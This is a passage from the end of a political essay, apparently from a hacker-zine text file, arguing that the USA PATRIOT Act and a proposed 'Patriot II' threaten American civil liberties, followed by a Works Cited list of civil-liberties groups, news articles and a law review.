The other side, being both safe and free, has been largely ignored in the
media and dodged right and left by the president's administration.  It is
perfectly normal to fear something, even to the point of being willing to
give up anything just to make the fear subside, but it cannot be expected
that everyone, or even a simple majority, feel the same way.  The
difference in opinion must be addressed and the sound basis of freedoms
that our country was founded upon must remain intact if we are still to be
entitled to life, liberty and happiness.

        Some would say that the future of our civil rights is hazy and
unforeseeable.  When examining the USAPA and the precedents it sets, the
future becomes very clear.  If we allow the provisions contained in the
USAPA to linger, we can expect an expansion of that kind of unchecked
power.  In fact, plans are already underway.  Attorney General John
Ashcroft is one of the parties involved in drafting what has been called
"Patriot II."  If the bill is passed, the entropy of civil liberties in
America will continue unhindered.  The bill will further erode governmental
checks and balances and expand the already loose definition of terrorism to
incorporate all outspoken dissidents, and hold media outlets responsible
for airing or printing what would be deemed as domestic terrorism.  Under
this power, mass media would theoretically cease any kind of editorial,
unpopular opinion, quite possibly even normal news coverage out of fear of
responsibility.

        If our country remains on its current course, it is said that we
will become less and less of a democracy and more of a fascist
parliamentary dictatorship.  Eventually, our way of life will be hollowed
out from the inside and only the most trivial of freedoms will remain.
Deeper down, we will become a nation of benign citizens under state
control, and the smart money says that we will still be told that America
is the greatest democracy in the world.

        This is why we must stay informed and why we must remain vigilant
in our struggle to maintain our freedom.  The USAPA is detrimental to
American society because at its core, it operates under the assumption that
anyone could be a terrorist, or more generally, a threat to government
policy.  In a true democracy, organizations like the ACLU, Bill of Rights
Defense Committee (BORDC), and Center for Constitutional Rights (CCR) would
not be needed because all laws would be passed with our basic civil
liberties in mind.  Unfortunately, this is no longer (has it ever truly
been?) the case.

        The freedoms to voice our opinions and to assemble with others of a
like-mind have been instrumental rights that we have utilized in order to
make sure our government hears us.  Beyond that, they have played a major
role in keeping our leaders from excessive corruption.  When our officials
begin to make laws that counteract our freedoms, then it is time to raise
our voices in unity despite the possibility of being called un-American.
When our government begins to recruit Americans to inform on other
Americans, then it is time for open defiance because living in a world
where you can't trust your neighbor is not a world worth living in and a
government that cannot trust its own citizens is a government that itself
cannot be trusted.  When our leaders tell us that our voices and our
actions are only aiding America's enemies, then it is time to stand up and
show our leaders that we are not the servile sheep that they think we are.

        As a people, we need to send a clear, resounding message to our
elected officials that we deserve our rights, and we deserve leaders who do
not try to undermine them.  But we also deserve safety.  Our government has
done some nasty things overseas, mostly without public knowledge or
consent, so is it any wonder that terrorists lash out at our leaders by
lashing out at us?  After all, we are easy targets because we take for
granted that out government will protect us.  The demand that we compromise
our freedoms in order to obtain that protection is not just grossly
insubordinate, it is indicative of a government that is quickly losing
interest in the needs of its people.



                               Works Cited

American Civil Liberties Union (ACLU) 04 April 2003
<http://www.aclu.org/NationalSecurity/NationalSecurity.cfm?ID=11437&c=111>

American Civil Liberties Union (ACLU) 20 April 2003
<http://www.aclu.org/NationalSecurity/NationalSecurity.cfm?ID=9857&c=24>

Bush, George W. "Remarks on Signing the USA PATRIOT Act of 2001." Weekly
Compilation of Presidential Documents 37 (2001): 1550-1552.

Center for Constitutional Rights (CCR) 20 April 2003
<http://www.ccr-ny.org/v2/reports/docs/Civil_Liberties.pdf>

Chang, Nancy. Center For Constitutional Rights (CCR) 18 April 2003
<http://www.ccr-ny.org/v2/reports/docs/USA_PATRIOT_ACT.pdf>

Collins, Jennifer M. "And the Walls Came Tumbling Down: Sharing Grand Jury
Information with the Intelligence Community Under the USA PATRIOT Act."
American Criminal Law Review 39 (2002): 1261-1286.

"GOP Wants to Keep Anti-Terror Powers." San Francisco Chronicle
09 April 2003: A15

Hentoff, Nat. "Resistance Rising!" Village Voice 22 November 2002.

McGee, Jim. "An Intelligence Giant in the Making." Washington Post
04 November 2001: A4.

Neary, Lynn. "Commentary: Worrisome Trend of Bush Administration Efforts to
Expand Their Collection of Information Data on American Citizens." All
Things Considered National Public Radio. 18 November 2002.

|=[ EOF ]=---------------------------------------------------------------=|



--------------------------------------------------------------------------------